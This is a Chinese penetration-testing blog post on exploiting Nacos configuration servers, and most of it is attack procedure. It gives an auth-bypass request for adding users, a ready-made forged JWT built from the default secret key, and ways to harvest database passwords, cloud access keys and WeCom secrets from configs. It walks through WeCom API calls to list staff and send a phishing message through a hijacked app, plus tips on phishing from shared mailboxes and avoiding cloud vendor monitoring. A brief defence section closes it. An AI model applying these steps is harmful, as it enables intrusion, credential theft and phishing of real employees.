Nacos配置文件攻防思路总结|揭秘Nacos被低估的攻击面|挖洞技巧
0x01 前言
当渗透测试遇到成百上千的Nacos节点,你会怎么做?99%的人只会盯着RCE漏洞,却忽略了真正的漏洞利用点——配置文件!笔者亲历证明:集群环境下配置分析的漏洞深度利用危害极高。本文揭秘如何利用JWT弱密钥漏洞全量导出配置,并通过正则引擎快速提炼关键攻击要素,打造高阶渗透链路。
参考文章:
Top18漏洞知识库-SRC技巧库、工具库
Nacos综合漏洞利用工具合集
0x02 漏洞详情
内网渗透测试中,发现大量Nacos实例,但相关研究资料多集中于Nacos自身漏洞(如RCE等),鲜少涉及其他利用思路。目前Nacos漏洞有:
Nacos Console 默认口令漏洞
Nacos Derby SQL 注入漏洞
Nacos 未授权访问漏洞
Nacos User-Agent 权限绕过漏洞
Nacos serverIdentity 权限绕过漏洞
Nacos token.secret.key 默认配置漏洞
Nacos-Client Yaml 反序列化漏洞
Nacos Jraft Hessian 反序列化漏洞
Nacos Jraft 任意文件读写
这些漏洞可以利用Nacos综合漏洞利用工具V7.8一键检测
点击下载Nacos综合漏洞利用工具合集
效果如下:
User-Agent权限绕过(CVE-2021-29441)
直接访问下面的目录,可以未授权查看到账号密码
/v1/auth/users?pageNo=1&pageSize=100 //可查看到用户列表
可以看下里面的账号密码,很多情况下账号密码都是这个暴露出来的username
添加用户,访问下面的接口
/v1/auth/users //添加用户
username=hhh&password=123456
User-Agent:Nacos-Server
//查看用户是否添加成功:
/v1/auth/search?username=hhh
curl 'http://IP/v1/auth/search?username=hhh'
curl -X DELETE "http://IP/v1/auth/users?username=hhh"
//删除用户
然后还可以使用我前面介绍的工具哈,直接就可以进行创建用户和删除用户的操作,十分简单便捷,适用于大批量IP渗透测试
默认弱口令漏洞
nacos框架的默认弱口令直接使用工具刚才检索出来了,直接常用的nacos:nacos登录成功
阿里云主机泄露Access Key
然后你可以直接在配置列表中的详情里面查看网站的配置信息,然后去挨个找,因为里面都是云安全的一些环境的配置,里面经常会泄露一些云安全的信息key值等,都是可以进行利用的
比如说里面找到OSS储存桶相关的,然后访问下,尝试打个OSS存储桶漏洞,感兴趣的师傅们可以根据我的这个思路进行测试下
后来我在rokid-ar-security-platform-biz-prod.yml配置详情里面找到了这个东西,这个也是OSS储存桶相关的漏洞,下面的url可以访问下,然后要是有回显的话,然后尝试使用下面的access-key和secret-key进行密钥登录
endpoint: xxxxxxxxxxxxxxx
access-key: xxxxxxxxxxxxxxxxxxxxxxxx
secret-key: xxxxxxxxxxxxxxxxxxxxxxxxxxxx
可以看到这里我直接就登录成功了,且里面都是云空间里面的存储东西,下面可以看到里面的日志信息等
有一些他里面你要是没有找到那个访问的url或者访问不了禁止访问登录连接,那么师傅们可以尝试下下面的这个工具oss-browser,就是专门来连接OSS的
https://github.com/aliyun/oss-browser
直接输入泄露的access-key值,直接使用OSS连接工具就可以直接连接成功了
包括也会使用阿里云的下面的这个连接工具:aliyun-accesskey-Tools
https://github.com/mrknow001/aliyun-accesskey-Tools
要是运气好的话们,也就是我们上面的那个直接找到了下面的OSS阿里云主机登录的后台地址,且允许我们直接拿泄露Access Key值进行登录连接,直接可以看到改阿里云服务器云上的所有信息了
token.secret.key默认配置(QVD-2023-6271)
利用刚才的图形化nacos自动化漏洞扫描工具扫出来的一个token.secret.key默认配置(QVD-2023-6271)漏洞,下面就来打下这个洞
使用nacos默认key可进行jwt构造
nacos默认key
token.secret.key值的位置在conf下的application.properties
SecretKey012345678901234567890123456789012345678901234567890123456789
JWT DATA:
{"sub": "nacos","exp": 1682308800
}
SecretKey012345678901234567890123456789012345678901234567890123456789利用该key构造JWT,可以直接进入后台。
在:https://jwt.io/
payload:{"sub": "nacos","exp": 1721781819
}
//1721781819是unix的时间戳 需要比系统晚 一般可以改成明天的时间
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTc4MTgxOX0.ltShA79EVJaJmhD0zYxtwsx_4K8erjXsorZ5T3RrARw
我们先直接随便输入一个账号密码,然后看看登录失败的返回包
然后把下面的payload复制到数据包中,就可以成功了
payload:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTc4MTgxOX0.ltShA79EVJaJmhD0zYxtwsx_4K8erjXsorZ5T3RrARw
然后再把返回包复制,再利用刚才的网站登录抓包,然后修改返回包,然后放包,就可以直接登录到网站后台了
Spring-Boot漏洞
对于Spring-Boot漏洞,我们可以使用Spring-Boot-Scan漏洞扫描工具
然后进入后台里面有spring-boot相关源代码,都是可以进行分析的,感兴趣的十分可以尝试下
以上是一些nacos常见的通用漏洞
但针对配置文件的拓展利用研究明显不足。实际测试发现,面对大量Nacos资产时,配置分析的重要性不输RCE。基于此,笔者编写了自动化脚本,可以利用nacos jwt弱密钥漏洞获取所有namespace配置文件,通过正则提取关键信息以供后续利用。(脚本获取方式在文末)
打法思路概述
根据笔者遇到的情况,通过nacos配置文件延伸出来的打法,主要有以下几条,供大家参考:
-
查找数据库账密,尤其是redis、postgresql这类能拿shell的-->横向/敏感数据
-
查找xxl-job账密-->拿业务系统服务器/横向
-
查找jwt key,伪造token登录-->减少爆破/进业务系统(但是个人感觉并不是很好伪造)
-
查找AK/SK-->存储桶接管/云主机接管
-
查找企微corpid和corpsecret-->获取员工信息/了解企业架构/接管企微应用/钓鱼
-
查找邮箱信息-->写到Nacos配置里的一般都是公共邮箱,可以查找邮件来往中的账密信息-->登录业务系统,还有就是利用公共邮箱来钓鱼
当然了站在甲方的立场,也可以是根据以上的攻击路径,来证明该资产的危害,加强领导的重视,促进业务方的整改(手动狗头)。
1、2两条没什么可说的,找到账密后都是比较常规的操作,就不演示了。
下面说一下实际环境中遇到3/4/5/6这4条路径的一些操作,以供师傅们参考。若有不对的地方,该请见谅并指正!
企微corpid和corpsecret-人员信息&钓鱼
这块利用思路的话,主要有:
1、查找部门、人员信息
2、创建企微成员,然后钓鱼(创建成员需要通讯录权限,笔者很少遇到)
3、没有权限创建成员的话,利用企微应用发消息钓鱼;(划重点)
基础信息获取
获取企微access_token
https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=SafetyCockpit03&corpsecret=SafetyCockpit03
先查看access_token权限
https://open.work.weixin.qq.com/devtool/query
获取企业微信API域名IP段
https://qyapi.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token=SafetyCockpit03
获取部门列表
https://qyapi.weixin.qq.com/cgi-bin/department/list?access_token=SafetyCockpit03
获取部门成员/详情
https://qyapi.weixin.qq.com/cgi-bin/user/simplelist?access_token=SafetyCockpit03&department_id=SafetyCockpit03&&fetch_child=1
我这里尝试,未带&&fetch_child=1如果只出来的一条信息,那么一般就是部门老大的信息(划重点,大鱼,只要你敢钓(狗头保命)):
而带&&fetch_child=1遍历的话,就是全部门的人员信息
获取加入企业二维码/创建成员
https://qyapi.weixin.qq.com/cgi-bin/corp/get_join_qrcode?access_token=SafetyCockpit03
拿到secret当然是直接添加成员到企微,然后进行后续操作比如钓鱼的话方便一点。
但有时候我们拿到的key可能没有那么大的权限,如图,在获取加入企业微信二维码和创建成员的时候,并没有权限:
获取加入企业二维码:错误码48002
创建成员:错误码48002
错误码48002解释:API接口无权限调用
这个时候没法加入企微,除了得到一些人员信息,还能怎么利用呢?
答案是我们可以接管企微应用,利用企微应用钓鱼。
接管高权限应用
如图,查询access_token的时候,可以查到应用的AgentId,这个发送消息会用到。
https://developer.work.weixin.qq.com/devtool/query
然后在
https://developer.work.weixin.qq.com/resource/devtool
工具里,发送应用消息
或者直接掏出数据包发送:
POST /cgi-bin/message/send?access_token=SafetyCockpit03 HTTP/1.1
Host: qyapi.weixin.qq.com
Content-Type: application/json
{"touser": "SafetyCockpit03", #一般是工号,结合上面获得的基础信息"toparty": "@all","totag": "@all","msgtype" : "news","agentid" : 1000xxx, #上面查出来的应用的AgentId"news" : {"articles" : [{"title" : "中秋节礼品领取","description" : "今年中秋节公司有豪礼相送","url" : "钓鱼链接","picurl" : "展示的图片链接","appid": "","pagepath": ""}]},"enable_id_trans": 0,"enable_duplicate_check": 0,"duplicate_check_interval": 1800
}
测试效果图:
点进去后:
更多应用消息发送方式见官方文档,但是一般来讲上面提供的图文消息就够用了。
邮箱-敏感信息&JWT伪造&钓鱼
这块利用思路的话:主要有:
1、钓鱼;因为nacos配置文件中的邮箱,一般都是一些公共邮箱,非常适合拿来钓鱼;
2、查找账密信息;理由如上;
3、结合第二条,进行JWT伪造,接管高权限账号;
具体思路操作如下:
比如打进去的公司邮箱域名为@xxx.com,那么就可以先搜索mail、mail.xxx.com,看有无网页登录邮箱的口子,要不然拿到账密后续也难利用。
如图,这里通过搜索mail.xxx.com,找到两个域名:
email.xxx.com
szmail.xxx.com
经确认第一个outlook的登录页面,第二个是coremail的登录页面
然后就是搜索关键字,比如:邮箱,@xxx.com
最终找到N个公共邮箱系统,登录其中一个,是个核心公共邮箱,好几万封邮件:
还可以搜索关键字,比如账号、开通、激活、经理……
这里搜索出来一些最近的账号开通信息:
很贴心,账密系统URL都在里面:
成功拿邮件里的账密成功登录到某系统,但就是个普通用户:
F12查看该系统的验证方式,发现是JWT
复制到jwt.io看下信息:发现算法是HS256对称加密算法,可以在配置文件找找秘钥,看能否伪造管理员的token。
不过看着data部分的rnStr字段,有种不妙的感觉。
这里运气挺好,根据关键字找到了jwt key:
拿爆破脚本验证下该key是不是正确的:
也可以直接在jwt.io验证,具体方式看图,稍微有点绕:
先改变一下userid,从原来的4087变成4086,测试下是否可以伪造。
改变后发现直接提示401,感觉和上面提到的rnStr字段有关,试了删除了也不行,最终尝试无果,只能从其他地方找突破了。
其他思路再有就是钓鱼了,因为本身就是公共账号,所以具有公信力,直接根据来往邮件信息,准备好话术开钓即可。
AK/SK-敏感信息&云主机接管
这块可以网上找找更加详细的利用方式。
但是需要注意的是,前期最好不要使用开源的云环境利用框架工具,因为大部分厂商都是有安全监测的,这里以阿里云为例:
所以建议先使用官方提供的工具看看存储桶有无敏感信息,没有敏感信息的话再用开源工具进行利用也不迟,以免浪费辛辛苦苦搜集到的key。
阿里云官方工具下载链接:
https://gosspublic.alicdn.com/ossbrowser/1.18.0/oss-browser-win32-x64.zip
腾讯云的话,可以直接使用在线环境:
https://cosbrowser.cloud.tencent.com/login
https://cos.cloud.tencent.com/tools/cosbrowser
AWS官方工具下载链接:
https://s3browser.com/download/s3browser-11-7-5.exe
巨多资料:
如何防护
写了这么多利用方式,站在甲方角度的话,该如何防护呢?
1、常规漏洞的话,根据官方修复建议修复即可;
2、配置文件的话,建议开发在写的时候,能加密的尽量加密,可以参考官方文档:
https://nacos.io/docs/v2/plugin/config-encryption-plugin/
效果图:
脚本及Nacos综合漏洞检测工具下载
getNacosConfig:https://pan.quark.cn/s/3afea548a79c
SpringBoot-Scan-2.6:https://pan.quark.cn/s/d2f807f08df2
Nacos综合漏洞检测工具V7.8:https://t.zsxq.com/iqp6o
0x03 总结
相比RCE漏洞,Nacos配置文件的敏感信息泄露可能带来更大的危害,比如数据库账密、AK/SK泄露,甚至企微接管。本文基于实战经验,总结Nacos配置文件利用的多种打法,从查找敏感信息到伪造JWT、钓鱼攻击,覆盖攻防全链路。无论是红队挖掘漏洞,还是蓝队加固防护,这篇干货都能为你提供新思路。喜欢的师傅可以点赞转发支持一下谢谢!